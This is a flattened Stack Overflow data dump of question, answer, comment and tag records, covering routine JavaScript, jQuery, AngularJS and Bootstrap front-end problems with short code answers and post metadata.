has body: Good day all. I have a form where users must fill out some fields, and this form is created dinamically y a php script. I've done a script that do a test on input fields to check if the users has filled everything. It is basically a cascade test in where if an error variable is true, the form isn't submitted. I have done some modifications and I have added a new hidden field to the form, filled by jquery when user clicks a image. $( '.selectLogo' ).bind("click",function(e){ $( "#operator" ).val( $(this).data("opvalue") ); }); then, on the submit event, there is the whole test... if ( !$( "#operator" ).val().length ){ $(".operatorError").show(); error=true; } else{ $(".operatorError").hide(); } if(error){ return false; } this is the last test I've added on the function, just before testing the error variable and decide if return true or false. the problem is that: IF i'm debugging the script, i.e. I put a breakpoint just over the if(error), everything is fine. IF i filled the whole form, i.e. the checkForm function just go throught every test and arrive on the decision of returning true or false, everything is ok. BUT if i filled the form partially, and I try to make a submit without selecting the operator (the new field i've added), the checkForm function stops me, display the error, but at this point, I must click on the operator logo to make the hiden field fills, then I have to click SEVERAL (read 2,3 or sometimes 4) times the submit button to have the form submitted. It sounds like that the error variable retain the value, and the jQuery cache it... or something, does anyone has experienced a similar problem? it is possible to "force" jQuery to "really" test a variable...? Am I complitely wrong and maybe the problem is elsewhere?

http://stackoverflow.com/q/25690433
score: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40155641
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/25669892
has comment: http://stackoverflow.com/comment/40153666
has body: I am using transition :"slide" when user click any tab button .it show that contend .I am able to implement in jQm here is fiddle http://jsfiddle.net/ezanker/o9foej5L/1/ I use same concept in angular and use same plugin(owlCarousel) .I am able to slide when user swipe left and right .But I need to slide left and right when user tab or click any button on tab bar . as given in above fiddle . here is plunker http://plnkr.co/edit/M08sP4oEZLWr6HgGKAde?p=preview Tab1 Tab2 Tab3 I need to go tab2 content when user tab2 button or same in tab3 with sliding .
type: Question
tagged with: jquery-mobile
answer count: 1
tagged with: javascript
has title: how to slide when tab bar button click in angular?
has comment: http://stackoverflow.com/comment/40153877
tagged with: jquery
has answer: http://stackoverflow.com/a/25691039
has comment: http://stackoverflow.com/comment/40153227

http://stackoverflow.com/a/25703561
has comment: http://stackoverflow.com/comment/40177438
has comment: http://stackoverflow.com/comment/40183000
has comment: http://stackoverflow.com/comment/40178244
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/40177530
has body: var el = document.body; el.innerHTML = el.innerHTML.replace(/badword|anotherone|andanother/gi, '***'); Demo http://jsfiddle.net/Lweebyqv/
has comment: http://stackoverflow.com/comment/40198251
has comment: http://stackoverflow.com/comment/40223868
has comment: http://stackoverflow.com/comment/40179956
score: 3
has comment: http://stackoverflow.com/comment/40178737
accepted answer of: http://stackoverflow.com/q/25703520
has comment: http://stackoverflow.com/comment/40218431
answers question: http://stackoverflow.com/q/25703520
has comment: http://stackoverflow.com/comment/135015499
has comment: http://stackoverflow.com/comment/40217548
has comment: http://stackoverflow.com/comment/43699697
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/43699716
has comment: http://stackoverflow.com/comment/40180158
has comment: http://stackoverflow.com/comment/40227722
has comment: http://stackoverflow.com/comment/40223979

http://stackoverflow.com/q/25605007
tagged with: jsp
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25605327
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/31184548
has answer: http://stackoverflow.com/a/25605084
tagged with: twitter-bootstrap
type: UnansweredQuestion
upvote count: 1
answer count: 4
has answer: http://stackoverflow.com/a/27817255
score: 1
has title: collapsable menu using bootstrap
type: Question
has body: I have created a simple vertical nav bar, which has a some menu items and further each menu item has some sub menu items. When I click on a menu it expands to open its sub menu items and when I click on another menu it also expands. The problem is that I want one menu item to auto collapse when I click on other menu item, i.e i want only one menu item to be expanded at a time. Main One Sub One Sub Two Sub Three Main Two Sub One Sub Two Sub Three

http://stackoverflow.com/comment/40030825
type: AnswerComment
comment on: http://stackoverflow.com/a/25623137
type: Comment
has text: Is their any difference in binding to the document instead of the body?
score: 0

http://stackoverflow.com/comment/40299622
type: Comment
type: QuestionComment
score: 0
has text: Please note that the "accepted" checkmark is intended to be given at the asker's discretion, to whichever answer the asker personally considered most helpful. The asker is welcome to consider posting timestamps, but it's by no means a requirement. Please do not pressure people about this sort of thing. @Kartikeya
comment on: http://stackoverflow.com/q/25700315

http://stackoverflow.com/q/25681508
has answer: http://stackoverflow.com/a/25681688
has comment: http://stackoverflow.com/comment/40137123
type: Question
has comment: http://stackoverflow.com/comment/40138903
tagged with: angularjs
score: 0
has comment: http://stackoverflow.com/comment/40137619
accepted answer: http://stackoverflow.com/a/25681688
has title: Angularjs Linechart directive won't load $resource
answer count: 1
has body: This is the resource hq.factory('AvgUsersPerWeek', function ($resource) { return $resource('/HQ/Graph/GetLoggedinUsersPerWeek') }); The controller hq.controller('AvgUsersPerWeekCtrl', function ($scope, AvgUsersPerWeek) { $scope.xkey = 'Period'; $scope.ykeys = ['CountUsers']; $scope.labels = ['Aantal']; $scope.myModel = AvgUsersPerWeek.query(); /* //example dataset that works, the fetched data has the same structure [ { "Period": "2013-04", "CountUsers": 2407 }, { "Period": "2013-03", "CountUsers": 3351 }, { "Period": "2013-02", "CountUsers": 2469 }, { "Period": "2013-01", "CountUsers": 2246 }, { "Period": "2012-12", "CountUsers": 3171 }, { "Period": "2012-11", "CountUsers": 2155 }, { "Period": "2012-10", "CountUsers": 1226 }, { "Period": "2012-09", "CountUsers": 2245 } ]; */ }) Fyi. If i substitute AvgUsersPerWeek.query() with the dataset below it, it works. So something is going wrong with my resource (which gets fetched (Fiddler). But the value isn't getting insert into my chart. I have double checked, the example dataset has the same structure as the dataset fetched by the $resource. I have not enclosed the HTML because it works. I suppose there's something in the way i use $resources.
has comment: http://stackoverflow.com/comment/40137577
has comment: http://stackoverflow.com/comment/40136636
has comment: http://stackoverflow.com/comment/40137297
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40137545
tagged with: javascript

http://stackoverflow.com/a/25582059
has comment: http://stackoverflow.com/comment/39956060
accepted answer of: http://stackoverflow.com/q/25582007
has comment: http://stackoverflow.com/comment/39956020
has body: $("#glyphicon-chevron-left-daily").click(function () { var endDate = $("#DailyViewButtonOk1").data("date"); var previousButtonHtml = $(this).html(); $(this).html("&lt;span class=\"glyphicon glyphicon-refresh\"&gt;&lt;/span&gt;"); var that = this; $.ajax({ url: loadUrl, type: 'POST', load: "&lt;img src='img/load.gif' alt='loading...' /&gt;", data: { startDate: startDate, endDate: endDate }, success: function (response) { var params = []; params['response'] = response; params['previousButtonHtml'] = previousButtonHtml; params['that'] = that; setTimeout(function(params) { $("#_DailyViewResults").html(params['response']); $("#_DailyViewResults").show(); $(params['that']).html(params['previousButtonHtml']); }, 5000, params); }, error: function () { } }); });
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39956221
has comment: http://stackoverflow.com/comment/39956201
has comment: http://stackoverflow.com/comment/39956277
has comment: http://stackoverflow.com/comment/39956299
has comment: http://stackoverflow.com/comment/39956001
type: Answer
answers question: http://stackoverflow.com/q/25582007

http://stackoverflow.com/a/25636000
accepted answer of: http://stackoverflow.com/q/25635829
has comment: http://stackoverflow.com/comment/40081107
has comment: http://stackoverflow.com/comment/40081877
has body: You can reduce the repetition of your current code by generating the id values programmatically in a loop: function flipBoard(){ var a, h, aVal, hVal, aEl, hEl; for(a = 8, h = 1; a &gt; 0; --a, ++h) { aVal = 'a' + a; hVal = 'h' + h; // Store off the current values aEl = document.getElementById(aVal); hEl = document.getElementById(hVal); // swap them aEl.id = hVal; hEl.id = aVal; } } demo fiddle
score: 5
type: AcceptedAnswer
upvote count: 5
type: Answer
answers question: http://stackoverflow.com/q/25635829
downvote count: 0

http://stackoverflow.com/a/25651697
score: 2
has comment: http://stackoverflow.com/comment/40083162
downvote count: 0
has body: You can wrap interact calling with function function addInteract(interactId) { var x = 0, y = 0; interact('#' + interactId).draggable({ onmove: function (event) { x += event.dx; y += event.dy; event.target.style.webkitTransform = event.target.style.transform = 'translate(' + x + 'px, ' + y + 'px)'; } }) .inertia(true) .restrict({ drag: "#OuterWrapper", endOnly: true }); } And just add addInteract('outWrap_' + itmCount); after $('#OuterWrapper').append(outWrap); Updated fiddle.
accepted answer of: http://stackoverflow.com/q/25651492
answers question: http://stackoverflow.com/q/25651492
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40083039
type: Answer

http://stackoverflow.com/comment/40118785
score: 0
has text: Now you're getting somewhere. what is theFirstArgument.responseText?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25671444

http://stackoverflow.com/a/25596613
has comment: http://stackoverflow.com/comment/39982691
answers question: http://stackoverflow.com/q/25596526
score: 0
type: Answer
has body: From what I understood of your question, to solve it, you can use JQuery that'll allow you to display the returned value in the DOM function updateString(p1){ var inputString; inputString += p1; $('.your-text-box').val(inputString); }

http://stackoverflow.com/comment/40131722
type: Comment
comment on: http://stackoverflow.com/a/25671160
type: AnswerComment
has text: Thanks Felix. Yet, 1) I read in some tutorials to do as code 1 from above to handle click and touch start events (on that one element only, obvious) together so that the handler is not executed twice (i.e. the click event ignored) 2) why does this combination work 20x i.e. click event not fired and only 1x not? Strange, isn’t it? 3) Is what I did in code 3 a „flag“. I thought it would be something different. Thanks for your patience and interest in clearing my thoughts!
score: 0

http://stackoverflow.com/q/25672414
type: Question
tagged with: html-table
has comment: http://stackoverflow.com/comment/40120085
tagged with: javascript
score: 0
has title: Change display of a table
has answer: http://stackoverflow.com/a/25688529
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40120686
linked to: http://stackoverflow.com/q/6297591
has body: With Javascript or java (in a webview), I wonder if it is possible to change the orientation of a table? I need to display the columns in rows: Jill Smith 50 Eve Jackson 94 Is there a Javascript function who could display one column under the other? Jill Smith 50 instead of Jill Smith 50 I tried : window.document.getElementsByTagName('theTable')[0].style.display = "table-column"; but it doesn't work
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25688529
tagged with: java

http://stackoverflow.com/comment/39997939
has text: Hi @bmleite, so you mean just create a new object for each one with the properties I'm interested in? Like, `var objArr; Label.query().$promise.then(function(data){ for(var i = 0; i < data.length; i++) { objArr[i]._id = data[i].id; objArr[i].name = data[i].name; etc. etc. etc.`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25604209
score: 0

http://stackoverflow.com/q/25594356
has comment: http://stackoverflow.com/comment/39978278
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25594382
score: 0
answer count: 1
type: UnansweredQuestion
tagged with: settimeout
has title: Need to set a short timeout in JS … How To?
type: Question
has body: This is my JS Code: $('#archive').click(function(){ $("#intro-page").slideUp(250); $('#dapper').show(); $('#navigation').show(); $('.picture_holder_thumb').each(function(index) { $(this).delay(50*index).fadeIn(400); }); And I want to set a short timeout after the sliding up… The Intro-Page slides up, the wrapper (dapper) will be shown and then – Timeout – the .picture_holder_thumb fades in… How to I write this?

http://stackoverflow.com/a/25640938
has comment: http://stackoverflow.com/comment/40063342
has comment: http://stackoverflow.com/comment/40063728
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40064484
has body: You would use $mysqli-&gt;insert_id to retrieve the id that was auto generated and used by the last query. Check it out here. Edit: Based on Thorsten Kettner's comment, you could also use SELECT LAST_INSERT_ID(); which to my understanding isn't based on the current connection and instead is referenced globally. You could even use SELECT MAX(ID) to get the last ID within a table, which most likely would be the most recent if set to AUTO_INCREMENT.
answers question: http://stackoverflow.com/q/25640785
downvote count: 0

http://stackoverflow.com/q/25576619
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25576798
linked to: http://stackoverflow.com/q/15521343
has comment: http://stackoverflow.com/comment/39946518
has title: Change position of content on mobile devices
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25576689
tagged with: javascript
has comment: http://stackoverflow.com/comment/39946215
has body: I run a site at http://chasemccoy.net/, and on the desktop I serve an advertisement in the sidebar. This comes from some given JS code from the ad network. The site loads a custom layout when viewed on an iPhone. I need to place that ad into the footer of the site when it's displayed on a mobile device. I am using media queries to change the mobile layout. My initial solution was to add the JS to the footer, and just use display: none; on the desktop version. However, the JS will not load into the site twice. I basically news a way to prevent the JS from loading at all on the mobile version until it hits the footer code. Any easy fix for this? I am not a JS wiz by any means. Thanks for your help. Edit: Here is the JS for the ad: That is simply pasted into the place in the HTML where I would like it to appear. The only problem is that the browser will not load more than one instance of the code. Edit: Here is an outline for the sidebar. div id="sidebar"> Start Here Colophon Archive RSS
score: 0

http://stackoverflow.com/comment/40100203
comment on: http://stackoverflow.com/q/25659617
type: Comment
type: QuestionComment
score: 1
has text: @sameer Did you check the fiddle? Does this answer your question?

http://stackoverflow.com/comment/40137076
type: Comment
has text: @user3769650 I have added an explanation for the code now, let me know if there is anything else or if it is too confusing, I'm very tired (almost 5am here, don't know why I'm not asleep yet) so it may be a little jumbled
comment on: http://stackoverflow.com/a/25681032
type: AnswerComment
score: 0

http://stackoverflow.com/q/25613586
has title: Block a IP to connect the website
type: Question
upvote count: 0
answer count: 1
tagged with: javascript
linked to: http://stackoverflow.com/q/12349251
tagged with: http://stackoverflow.com/tag/html
has body: I want to block a IP to view my URL, block it from www.example.com/{anything behind it} I don't want to send the IP to a page but the IP must think the website can't be loaded like if the IP is writing a not available URL. So working must be, catch IP of visitor, if (visitor_ip === 'this.ip.adres') do not allow this user to go to my index
favorite count: 0
has answer: http://stackoverflow.com/a/25613618
has comment: http://stackoverflow.com/comment/40013462
type: UnansweredQuestion
score: -5
duplicate of: http://stackoverflow.com/q/12349251
has comment: http://stackoverflow.com/comment/40013532
has comment: http://stackoverflow.com/comment/40013774
downvote count: 5

http://stackoverflow.com/comment/40077192
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25648569
has text: Ok, I removed the tags and its still not working. So I can't load the libraries "remotely"?

http://stackoverflow.com/a/27552533
score: 0
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/25673506
accepted answer of: http://stackoverflow.com/q/25673506
has body: There is a page on the dropzone wiki that shows you how to do this. I'm typing it out here for posterity. You can take advantage of the processingfile event to set the upload url.

http://stackoverflow.com/comment/40176729
comment on: http://stackoverflow.com/q/25703367
has text: In your iteration you compare an array with an string. But even arrays you couldn't just compare by "==": [5, 5] == [5, 5] // false!
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25701997
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25701628
answers question: http://stackoverflow.com/q/25701628
upvote count: 2
type: AcceptedAnswer
type: Answer
score: 2
has body: You could go the whole hog and extend the HTMLcollection prototype: function className(cls){ return document.getElementsByClassName(cls);//a HTMLCollection } //extend the HTMLCollection prototype HTMLCollection.prototype.style = function(newStyles) { for (var i = 0; i &lt; this.length; i++) { for (var key in newStyles) { if (newStyles.hasOwnProperty(key)) { this[i].style[key] = newStyles[key]; } } } return this; }; //example use className('source').style({display:'block', color:'red'}); Not necessarily something I'd recommend but here's the demo

http://stackoverflow.com/q/25669301
has body: I have TabContainer with two ContentPanes inside Foo Bar For some reason when page loads - both tabs are invisible. If I resize the browser - tabs appear. Same problem on Chrome, FF, IE8+ and Safari. I've checked the console. For some reason, all elements have height=0, width=0 and display=none.
answer count: 1
has answer: http://stackoverflow.com/a/25718499
has title: ContentPanes wouldn't show up
type: UnansweredQuestion
tagged with: dojo
has comment: http://stackoverflow.com/comment/40121722
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40160582
has comment: http://stackoverflow.com/comment/40121671
score: 0

http://stackoverflow.com/comment/40082618
comment on: http://stackoverflow.com/q/25651559
type: Comment
has text: Read the documentation before asking questions http://api.jquery.com/click/
score: 0
type: QuestionComment

http://stackoverflow.com/comment/39928490
type: QuestionComment
type: Comment
score: 1
has text: I think you better focus on improving page A. history.back implementation is on browser to use cache or hit server. It's possible that some browser uses caches and it's fast and some not so it would be equally slow as window.location.href. If cached page is a solution for you, then use html 5 offline cache manifest.
comment on: http://stackoverflow.com/q/25567542

http://stackoverflow.com/comment/40180951
score: 0
type: QuestionComment
type: Comment
has text: It would make much more sense to do this with your server as a 302 redirect than in the browser.
comment on: http://stackoverflow.com/q/25705536

http://stackoverflow.com/comment/40190578
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25710925
type: Comment
has text: i want to avoid to auto post back for button thats why i used html button .

http://stackoverflow.com/a/25568244
has comment: http://stackoverflow.com/comment/39929601
score: 1
answers question: http://stackoverflow.com/q/25568154
has body: You can try this:
has comment: http://stackoverflow.com/comment/39930730
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/39929711
downvote count: 0
has comment: http://stackoverflow.com/comment/39929832

http://stackoverflow.com/comment/40120142
type: QuestionComment
type: Comment
has text: Just to clarify, the `$(".result_element").click` is being called *after* the `append`, correct?
comment on: http://stackoverflow.com/q/25672426
score: 0

mysql
tags question: http://stackoverflow.com/q/25681059
tags question: http://stackoverflow.com/q/25594440
tags question: http://stackoverflow.com/q/25660006
tags question: http://stackoverflow.com/q/25660777
tags question: http://stackoverflow.com/q/25610336
tags question: http://stackoverflow.com/q/25699257
tags question: http://stackoverflow.com/q/25588474
tags question: http://stackoverflow.com/q/25709025
tags question: http://stackoverflow.com/q/25637558
tag name: mysql
tags question: http://stackoverflow.com/q/25706810
tags question: http://stackoverflow.com/q/25611877
tags question: http://stackoverflow.com/q/25564834
tags question: http://stackoverflow.com/q/25644831
tags question: http://stackoverflow.com/q/25679247
tags question: http://stackoverflow.com/q/25698651
tags question: http://stackoverflow.com/q/25685383
tags question: http://stackoverflow.com/q/25710737
tags question: http://stackoverflow.com/q/25703788
tags question: http://stackoverflow.com/q/25586838
tags question: http://stackoverflow.com/q/25606784
tags question: http://stackoverflow.com/q/25558153
tags question: http://stackoverflow.com/q/25705645
tags question: http://stackoverflow.com/q/25700499
tags question: http://stackoverflow.com/q/25563785
tags question: http://stackoverflow.com/q/25683701
tags question: http://stackoverflow.com/q/25645546
tags question: http://stackoverflow.com/q/25613616
tags question: http://stackoverflow.com/q/25645640
type: Tag
tags question: http://stackoverflow.com/q/25581591
tags question: http://stackoverflow.com/q/25694118
tags question: http://stackoverflow.com/q/25635053
tags question: http://stackoverflow.com/q/25565113
tags question: http://stackoverflow.com/q/25582050
tags question: http://stackoverflow.com/q/25660030
tags question: http://stackoverflow.com/q/25708199
tags question: http://stackoverflow.com/q/25559815
tags question: http://stackoverflow.com/q/25677584
tags question: http://stackoverflow.com/q/25598775
tags question: http://stackoverflow.com/q/25634403
tags question: http://stackoverflow.com/q/25631526
tags question: http://stackoverflow.com/q/25638579

http://stackoverflow.com/comment/44188905
comment on: http://stackoverflow.com/a/27883054
type: Comment
has text: @RichardTheKiwi You're right. I've removed that claim. But `setZoom()` is definitely not ignored. Without that line, `ViewportInfoService.GetViewportInfo` file (traffinc data) is never re-fetched. Just check the Network tab in Dev Tools.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25570747
has answer: http://stackoverflow.com/a/25570963
linked to: http://stackoverflow.com/q/8934877
has body: how can you find the min or max number in a function like this {"a",5,"h",7,true,6,"h",7}. The solution must be applicable to other kinds of functions with the same characteristic. I set min = arguments[0] but what if it's not a number? you know i was reading about functions and I read about arguments objects,which contains an array of arguments.i tried this: function argsMin() { var i = 0; var min=arguments[0]; for(i=0;i&lt;arguments.length;i++) { if(min&gt;arguments[i]){ min=arguments[i]; } } return min; } document.write(argsMin(1124,562,-973,955)); now what if the first index is not a number.
has comment: http://stackoverflow.com/comment/39936756
upvote count: 0
has answer: http://stackoverflow.com/a/25570919
favorite count: 0
answer count: 5
type: UnansweredQuestion
downvote count: 2
tagged with: arguments
has answer: http://stackoverflow.com/a/25570825
has answer: http://stackoverflow.com/a/25571273
linked to: http://stackoverflow.com/q/1669190
has comment: http://stackoverflow.com/comment/39934740
has comment: http://stackoverflow.com/comment/39935347
has title: how can you find the min number in this function in javascript
has answer: http://stackoverflow.com/a/25570941
type: Question
tagged with: function
score: -2
tagged with: arrays
tagged with: javascript
has comment: http://stackoverflow.com/comment/39936981

http://stackoverflow.com/a/25735477
score: 0
type: AcceptedAnswer
has body: with adding from the page (and some more): Add test Save tests Clear storage
type: Answer
accepted answer of: http://stackoverflow.com/q/25707247
answers question: http://stackoverflow.com/q/25707247

http://stackoverflow.com/q/25673258
score: 0
has title: Preventing Flickering on Postbacks without Ajax
has comment: http://stackoverflow.com/comment/40121564
has comment: http://stackoverflow.com/comment/40125753
tagged with: asp.net
tagged with: ajax
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40122169
has comment: http://stackoverflow.com/comment/40121855
has comment: http://stackoverflow.com/comment/40123814
tagged with: asp.net-mvc-4
answer count: 0
tagged with: postback
has comment: http://stackoverflow.com/comment/40123869
has comment: http://stackoverflow.com/comment/40122649
type: Question
has comment: http://stackoverflow.com/comment/40125022
has body: I am creating an MVC 4 Website and I am experiencing some UX challenges. On Postbacks my website content flickers as the page changes. I have done some research on this and found most people solve this issue using Ajax. My company does not like the idea of using Ajax on this project, so I am hunting for a solution that does not involve Ajax. I read some people recommending using JavaScript for this, but couldn't find any examples or guidance. My boss suggested I play around with css transitions and hard-coding dimensions to help reduce flickering effect. I haven't had any luck with either of those suggestions. Is fixing this issue even possible without using Ajax?
tagged with: javascript

http://stackoverflow.com/comment/39950654
score: 0
type: Comment
type: QuestionComment
has text: plus i like one page websites :D
comment on: http://stackoverflow.com/q/25579057

http://stackoverflow.com/comment/39968744
has text: Possibly but I'd rather do it **while** I'm solving for #1 and #2. and with this email validating expression: (([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25589056

http://stackoverflow.com/comment/40067282
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25642667
has text: What I mean is, html source in browser for above form/related section.
score: 0

http://stackoverflow.com/comment/41612481
type: AnswerComment
comment on: http://stackoverflow.com/a/25664644
type: Comment
has text: only works for single-digit integers: [2,2,2,3,3,3,3,33].join().match(/3/g).length is 6 and not 4
score: 0

http://stackoverflow.com/a/25579537
accepted answer of: http://stackoverflow.com/q/25579519
answers question: http://stackoverflow.com/q/25579519
has body: Try this &lt;script type="text/javascript"&gt; var div_brd = document.getElementById("divbrd"); div_brd.style.boxShadow = "none"; &lt;/script&gt; Fiddle: In this fiddle there is box shadow on div but it's removing from js
has comment: http://stackoverflow.com/comment/39951658
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39951677
has comment: http://stackoverflow.com/comment/39951665
score: 0
has comment: http://stackoverflow.com/comment/39951769
type: Answer
has comment: http://stackoverflow.com/comment/39951566

variables
tag name: variables
tags question: http://stackoverflow.com/q/25588895
tags question: http://stackoverflow.com/q/25638834
tags question: http://stackoverflow.com/q/25672755
tags question: http://stackoverflow.com/q/25709107
type: Tag
tags question: http://stackoverflow.com/q/25581225
tags question: http://stackoverflow.com/q/25552726
tags question: http://stackoverflow.com/q/25691730
tags question: http://stackoverflow.com/q/25562157
tags question: http://stackoverflow.com/q/25674475
tags question: http://stackoverflow.com/q/25711720
tags question: http://stackoverflow.com/q/25619554
tags question: http://stackoverflow.com/q/25664186
tags question: http://stackoverflow.com/q/25620798
tags question: http://stackoverflow.com/q/25687932
tags question: http://stackoverflow.com/q/25707639
tags question: http://stackoverflow.com/q/25678698
tags question: http://stackoverflow.com/q/25688325
tags question: http://stackoverflow.com/q/25645310

http://stackoverflow.com/comment/40015351
type: AnswerComment
has text: Thanks for taking the time to make this. I'll give it a shot.
type: Comment
comment on: http://stackoverflow.com/a/25614524
score: 0

http://stackoverflow.com/q/25575673
score: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/39944347
tagged with: angularjs
has title: angularjs 'back' inside iframe
has comment: http://stackoverflow.com/comment/39944397
answer count: 0
type: UnansweredQuestion
tagged with: iframe
has body: I have an angularjs project that is opened inside an iframe. Currently when someone hits back I use 'window.history.back();' however it seems this makes the parent window go back. Using angular how can I make only the content inside the iframe move back?
type: Question

http://stackoverflow.com/a/25599593
score: 1
has comment: http://stackoverflow.com/comment/39995550
has comment: http://stackoverflow.com/comment/40000166
has body: You would likely want to use a container and textContent / innerText, e.g.: &lt;p id="comment"&gt;&lt;/p&gt; &lt;h3 id="name"&gt;&lt;/h3&gt; And then first get the elements: var comment = document.getElementById('comment'); var name = document.getElementById('name'); And in the interval function: comment.textContent = js_comment[number]; name.textContent = js_name[number]; https://developer.mozilla.org/en-US/docs/Web/API/Node.textContent#Browser_compatibility http://clubajax.org/plain-text-vs-innertext-vs-textcontent/ Short update: Not directly related to question, but some thoughts in regard to comments etc. I also register you might be in a beginner phase where basic concepts might be more important; but add it anyhow. Note that when you have some code of some size you can also use Code Review SE to get input on your code. Hints and help on good and bad, how to refactor etc. Variable scope: If new to JavaScript this might be a bit out of scope of how your compendium are set up and where you are, but mention it as it is a rather important topic. The first thing of concern when looking at your code is variable scope. To put it short: avoid global variables. That is variables that are accessible and modifiable from anywhere. This is highly frowned upon when it comes to production code. In short: It quickly becomes a nightmare to keep track of variables in global scope. It is prone for very ugly bugs etc. Maintaining such code, not the least for others, or your self after say 6 months, a year or what ever, also quickly makes it hard to read and so on. How to avoid global variables in JavaScript? In this regard there is also the need to always define variables. Not that you have not done it, but still. Personally I usually define variables in top of functions (quite a few people disagree with this, but my pref.). This way I know what variables are used, it is quick to control that it has been defined, it is a good place for a overview with comments etc. What is the sco…
has comment: http://stackoverflow.com/comment/39999870
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40081539
answers question: http://stackoverflow.com/q/25598775
type: Answer
has comment: http://stackoverflow.com/comment/39999847
has comment: http://stackoverflow.com/comment/40033656
has comment: http://stackoverflow.com/comment/40064126
accepted answer of: http://stackoverflow.com/q/25598775
downvote count: 0

http://stackoverflow.com/comment/39972896
score: 3
has text: Could you show us where the `lang` is defined?
comment on: http://stackoverflow.com/q/25591346
type: Comment
type: QuestionComment

http://stackoverflow.com/a/37209703
has body: The answer by Casey Chu works fine until the browser crashes with the page open. On any next execution, the localStorage object will have initialized tabCount with non zero value. Therefore a better solution is to store the value in a session cookie. The session cookie will be removed when browser exits successfully. When the browser crashes the session cookie will actually be preserved but fortunately only for one next execution of the browser. Object sessionStorage is distinct for each tab so it cannot be used for sharing tab count. This is the improved solution using js-cookie library. if (+Cookies.get('tabs') &gt; 0) alert('Already open!'); else Cookies.set('tabs', 0); Cookies.set('tabs', +Cookies.get('tabs') + 1); window.onunload = function () { Cookies.set('tabs', +Cookies.get('tabs') - 1); };
answers question: http://stackoverflow.com/q/25661543
type: Answer
has comment: http://stackoverflow.com/comment/116836771
score: 4
upvote count: 4
downvote count: 0

http://stackoverflow.com/a/25570575
type: Answer
has body: I would suggest to use this instead of your code $(".image").on("mouseenter", function() { $(this).find('.slender').show(); }).on("mouseleave", function() { $(this).find('.slender').hide(); });
answers question: http://stackoverflow.com/q/25570439
score: 0

http://stackoverflow.com/a/25641182
score: 1
upvote count: 1
has body: You can do it like this context.moveTo(500, 50); context.lineTo(500, 250); context.arc(500,250,200,1.5*Math.PI,Math.PI,true); context.lineTo(500,250); context.stroke();
has comment: http://stackoverflow.com/comment/40063590
answers question: http://stackoverflow.com/q/25640855
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40064047

http://stackoverflow.com/a/25552275
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25552163
has body: $(document).ready(function () { if($(window).width() &lt;= 640){ $("#collapse-menu").toggle(); $("#pull").on('click',function () { $("#collapse-menu").toggle(); }); } }); it only works depending on the screen width
has comment: http://stackoverflow.com/comment/39899635

http://stackoverflow.com/a/25692184
type: Answer
has comment: http://stackoverflow.com/comment/40156337
answers question: http://stackoverflow.com/q/25691461
score: 1
upvote count: 1
downvote count: 0
has body: Assuming your description is of the name attribute of the dynamically created/destroyed fields on the page (in other words, &lt;input name="Data[Field][0][value]"&gt;): var $lastField = $('[name^=Data\\[Field\\]\\[][name$=\\]\\[value\\]]').last(); var lastField = $lastField[0]; This should get the last element in the DOM with a name matching the regex Data[Field][.*][value]. If you want to ensure that the middle bit is a number, you need to get a little more involved: var $lastField = $('[name^=Data\\[Field\\]\\[').filter(function(idx, element) { return /Data\[Field\]\[[0-9]+?\]\[value\]/.test($(this).attr('name')); }).last(); var lastField = $lastField[0];

http://stackoverflow.com/a/25558688
has body: You could pass the panel ID as a parameter: function showPanel(id) { var elem = document.getElementById(id); if (elem.classList) { elem.classList.toggle("show"); } else { var classes = elem.className; if (classes.indexOf("show") &gt;= 0) { elem.className = classes.replace("show", ""); } else { elem.className = classes + " show"; } console.log(elem.className); } } and then call it that way: showPanel("about-panel"); or showPanel("contact-panel");
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25558651
score: 3
answers question: http://stackoverflow.com/q/25558651

http://stackoverflow.com/q/25676284
has body: this works in PHP: $i = 4; $fruit4 = 'apple'; $answer = $fruit{$i}; echo $answer; // apple so i hoped this would work in javascript: var i = 4; var fruit4 = 'apple'; var answer = fruit{i}; print(answer); but no luck! is there a way to do this using javascript? NOTE: i realize this is more easily done with an array (var fruit[4] = 'apple') but that isn't an option this time due to pre-existing constraints. thanks in advance!
has comment: http://stackoverflow.com/comment/40127994
type: Question
has answer: http://stackoverflow.com/a/25676314
has comment: http://stackoverflow.com/comment/40127270
possible better answer: http://stackoverflow.com/a/25676340
